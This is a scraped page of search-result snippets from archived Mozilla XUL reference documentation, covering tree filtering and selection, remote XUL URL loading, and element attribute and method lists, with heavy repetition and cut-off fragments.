event the user from losing the row they edited var topvisiblerow = null; if (table) { topvisiblerow = gettopvisiblerow(); } if (data == null) { //put object loading code here. for our purposes, we'll hard code it. data = []; //the property names match the column ids in the xul. this way, we don't have to deal with //mapping between the two data.push({name: "leonardo", description: "lead...
... //prepares an object for easy comparison against another. ...
...epareforcomparison(o) { if (typeof o == "string") { return o.tolowercase(); } return o; } function gettopvisiblerow() { return tree.treeboxobject.getfirstvisiblerow(); } function settopvisiblerow(topvisiblerow) { return tree.treeboxobject.scrolltorow(topvisiblerow); } function inputfilter(
event) { //do this now rather than doing it at every comparison var value = prepareforcomparison(
event.target.value); setfilter(value); document.getelementbyid("clearfilter").disabled = value.length == 0; } function clearfilter() { document.getelementbyid("clearfilter").disabled = true; var filterelement = document.getelementbyid("filter"); filterelement.focus(); filterelement.value = ""; setfilter(""); } function setfilter(text) { filtertext = text; loadtable(); } ...
Tree Selection - Archive of obsolete content
treeitem element, if using content tree view) may be selected individually. if you add the seltype attribute to the tree, set to the value single, the user may only select one row at a time. otherwise, the user may select multiple rows, which will not necessarily be contiguous. the tree provides a number of functions which can be used to determine whether an item is selected. handling the select
event first, let's see how we can determine when an item is selected. the onselect()
event handler may be added to the tree element. when the user selects an item from the tree, the
event handler is called. the user may also change the selection by using the cursor keys. if the user holds down the cursor key to rapidly scroll through the items, the
event handler is not called until the user stops. this...
...<tree id="treeset" onselect="alert('you selected something!');"> tree indices the tree has a property currentindex, which can be used to get the currently selected item, where the first row is 0. ...
...<tree id="treeset" onselect="alert('you selected something!');"> tree indices the tree has a property currentindex, which can be used to get the currently selected item, where the first row is 0. ...
...} } we create two objects called 'start' and 'end'. then, we iterate over the set of ranges, the number of which is returned by the getrangecount() function. the getrangeat() function is called passing the range index and the start and end objects. this function will fill in the start and end indicies by assigning them to the 'value' property. so if the first range is from the third item to the s
eventh item, 'start.value' will be 2 (remember that indices start with 0, so we subtract one.) and 'end.value' will be 6. an alert is displayed for each index. if you just want to find out if a specific row is selected, use can use the isselected() function. it takes a row index as an argument and returns true if that row is selected. alert(tree.view.selection.isselected(3)); modifying the tree select...
Using Remote XUL - Archive of obsolete content
in place, but it doesn't do anything. we want it to load urls in the iframe when we press the buttons or select the menu items. for that we need to add javascript code. ...
...the buttons or select the menu items. for that we need to add javascript code. <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"> function loadurl(
event) { var contentframe = document.getelementbyid("contentframe"); var url =
event.target.getattribute("value"); if (url) contentframe.setattribute("src", url); } </script> ... </window> the code to load the urls is simple. first we write an
event handler function that receives an
event, extracts a url from the value attribute of the element where the
event occurred (a.k.a. the target element), and loads the url in the iframe. we add an id attribute to the ifr...
..., url); } </script> ... </window> the code to load the urls is simple. first we write an
event handler function that receives an
event, extracts a url from the value attribute of the element where the
event occurred (a.k.a. the target element), and loads the url in the iframe. we add an id attribute to the iframe element so we can reference it from our function, and we add an oncommand
event listener to the menubar element that calls the function every time the user clicks a button or selects a menu item. the oncommand
event listener is a generic listener that fires whenever the user manipulates an element in some conclusive way. ...
... source | rendered conclusion it works! basic global web site navigation. ...
XUL element attributes - Archive of obsolete content
their left edges. center the elements are centered horizontally. right the elements are aligned on their right edges. the pack attribute is related to the alignment but is used to specify the position in the opposite direction. you can also specify the value of align using the style property -moz-box-align. allow
events type: boolean if true,
events are passed to children of the element. otherwise,
events are passed to the element only. allownegativeassertions type: boolean valid on any element that has a datasources attribute. when multiple datasources are used, one may override an assertion from another. this attribute, if true, which is the default, allows a datasource to negate an earlier a...
...s a corresponding script property 'menu'. minheight type: string (representing an integer) the minimum height of the element. this corresponds to the min-height css property. minwidth type: string (representing an integer) the minimum width of the element. this corresponds to the min-width css property. mousethrough type: one of the values below determines whether mouse
events are passed to the element or not. if this attribute is not specified, the value is inherited from the parent of the element. if no ancestor has the mousethrough attribute set, the default value is never. always mouse
events are transparent to the element. this means that the element will not receive any mouse
events due to either clicking or movement. child elements may override this if th...
... observes type: id set to an id of a broadcaster element that is being observed by the element. ...
...is ignored if either an insertbefore or insertafter attribute matches an element. preference-editable mozilla 1.8 type: boolean if true, the element may be used as one that modifies a preference in a prefwindow. the preference attribute may be used to connect to a preference element. this is useful for custom elements implemented in xbl. the element should fire change, command, or input
event when the value is changed so that the preference will update accordingly. see the pref system documentation for more information. querytype type: string indicates the type of datasource used in a template. firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'. extensions may provide support for additional datasources. ref type: uri for template-genera...
action - Archive of obsolete content
les in place of attribute values. variables are a question mark followed by a name. for a matched rule, each variable will be a reference to data within the datasource, determined from the query. if the same variable appears multiple times, it will have the same value in each place. for more information, see actions. ...
... hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener()...
...ntrollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
assign - Archive of obsolete content
eeded) attributes expr type: string for xml queries, an xpath expression which returns results. any namespace prefixes declared on the element may be used within the expression. var type: string for the xul assign attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name". ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
bbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a horizontal box that is baseline aligned. it is equivalent to using an hbox element with an align attribute set to baseline. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
binding - Archive of obsolete content
ithin a bindings element. a binding is used to bind a variable to a node. like the triple element in syntax, it can be used to bind a particular property of a matched node to a particular variable name. that name can then be used within the action of a rule. ...
...h properties object type: string the object of the element. it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri. ...
...gn, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
bindings - Archive of obsolete content
variable bindings for a rule. this element should be contained within a rule element and contain one or more binding elements. this element is optional in firefox 3/mozilla 1.9 and later; instead binding elements may be placed directly inside the rule element. more information is available in the template guide. ...
... object type: string the object of the element. it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
box - Archive of obsolete content
erlap. the default orientation is horizontal. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements vbox, hbox ...
broadcasterset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container element for broadcaster elements. the broadcasterset and its descendants are not displayed. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
checkbox - Archive of obsolete content
en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...ribute. disabled type: boolean gets and sets the value of the disabled attribute. src type: url gets and sets the value of the src attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. ...
...led attribute. src type: url gets and sets the value of the src attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulcheckboxelement ...
column - Archive of obsolete content
each successive cell of the grid. the column with the most child elements determines the number of rows in each column. it is common to use columns only to define width and flexibility for the grid column and not place elements directly inside the column. more information is available in the xul tutorial. example see grid for an example. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, rows, row ...
columns - Archive of obsolete content
to appear in the grid. the columns element may be nested inside another columns element. other elements placed inside a columns element occupy the full height of the grid and are placed in their corresponding positions between the columns. more information about columns is available in the xul tutorial. example see grid for an example. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
conditions - Archive of obsolete content
k (?). when evaluating the rule for a particular rdf resource, the variables are replaced with values from the resource. if all variables can be replaced, the rule matched. this element is used with firefox 2/mozilla 1.8 and earlier instead of the query element. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
content - Archive of obsolete content
para vincular una variable a un nodo de contenido cuando se emparejan. cuando use un árbol con los atributos flags ("banderas"), establezca dont-build-content, ("no almacenar contenido"), use treeitem en su lugar. para más información, se encuentra disponible el tutorial xul. ...
...ements. uri type: ? used to specify the variable name for the content. when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match. each resource is placed in the variable specified in the uri attribute in turn. then, the other rules are evaluated for a match. this attribute should always be present. ...
...nt. when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match. each resource is placed in the variable specified in the uri attribute in turn. then, the other rules are evaluated for a match. this attribute should always be present. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata relacionados tbd ...
deck - Archive of obsolete content
> <description value="this is the first page"/> <button label="this is the second page"/> <box> <description value="this is the third page"/> <button label="this is also the third page"/> </box> </deck> attributes selectedindex type: integer gets and sets the index of the currently selected panel. the first item is at index 0. ...
...igning -1 to this property, all items will be deselected. returns -1 if no items are selected do not hide panels; the deck element only understands visible panels. selectedpanel type: element holds a reference to the currently selected panel within a deck element. assigning a value to this property will modify the selected panel. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related stack ...
description - Archive of obsolete content
en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...f the disabled attribute. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
... value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...typically, this will cause the text to appear bold. indent this class causes the text to be indented on its left side. monospace this class causes the text to be displayed in a monospace font. plain this class cause...
dropmarker - Archive of obsolete content
dropmarker is a button with an arrow which will reveal more details when pressed. a dropmarker is not intended to be used as a separate element, but as part of another element. for instance the menulist and the popup type of datepicker use a dropmarker, that when pressed, will reveal a popup menu. ...
...l, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
grid - Archive of obsolete content
<textbox id="user"/> </row> <row> <label value="group"/> <menulist> <menupopup> <menuitem label="accounts"/> <menuitem label="sales" selected="true"/> <menuitem label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox> attributes inherited from xul element align, allow
events, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
